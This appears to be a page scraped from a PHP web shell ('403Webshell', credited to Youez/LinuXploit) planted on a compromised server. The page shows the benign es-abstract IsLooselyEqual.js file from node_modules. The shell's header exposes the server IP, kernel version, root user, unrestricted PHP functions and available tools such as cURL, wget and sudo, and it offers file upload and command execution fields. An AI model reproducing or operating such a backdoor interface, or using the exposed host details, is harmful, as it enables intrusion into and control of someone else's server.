403Webshell
Server IP : 159.203.156.69  /  Your IP : 216.73.217.172
Web Server : nginx/1.24.0
System : Linux main-ubuntu 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/tanviranik.com/node_modules/es-abstract/2024/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/tanviranik.com/node_modules/es-abstract/2024//IsLooselyEqual.js
'use strict';

var isFinite = require('math-intrinsics/isFinite');
var isObject = require('es-object-atoms/isObject');

var IsStrictlyEqual = require('./IsStrictlyEqual');
var StringToBigInt = require('./StringToBigInt');
var ToNumber = require('./ToNumber');
var ToPrimitive = require('./ToPrimitive');

var isSameType = require('../helpers/isSameType');

// https://262.ecma-international.org/13.0/#sec-islooselyequal

module.exports = function IsLooselyEqual(x, y) {
	if (isSameType(x, y)) {
		return IsStrictlyEqual(x, y);
	}
	if (x == null && y == null) {
		return true;
	}
	if (typeof x === 'number' && typeof y === 'string') {
		return IsLooselyEqual(x, ToNumber(y));
	}
	if (typeof x === 'string' && typeof y === 'number') {
		return IsLooselyEqual(ToNumber(x), y);
	}
	if (typeof x === 'bigint' && typeof y === 'string') {
		var n = StringToBigInt(y);
		if (typeof n === 'undefined') {
			return false;
		}
		return IsLooselyEqual(x, n);
	}
	if (typeof x === 'string' && typeof y === 'bigint') {
		return IsLooselyEqual(y, x);
	}
	if (typeof x === 'boolean') {
		return IsLooselyEqual(ToNumber(x), y);
	}
	if (typeof y === 'boolean') {
		return IsLooselyEqual(x, ToNumber(y));
	}
	if ((typeof x === 'string' || typeof x === 'number' || typeof x === 'symbol' || typeof x === 'bigint') && isObject(y)) {
		return IsLooselyEqual(x, ToPrimitive(y));
	}
	if (isObject(x) && (typeof y === 'string' || typeof y === 'number' || typeof y === 'symbol' || typeof y === 'bigint')) {
		return IsLooselyEqual(ToPrimitive(x), y);
	}
	if ((typeof x === 'bigint' && typeof y === 'number') || (typeof x === 'number' && typeof y === 'bigint')) {
		if (!isFinite(x) || !isFinite(y)) {
			return false;
		}
		// eslint-disable-next-line eqeqeq
		return x == y; // shortcut for step 13.b.
	}
	return false;
};

Youez - 2016 - github.com/yon3zu
LinuXploit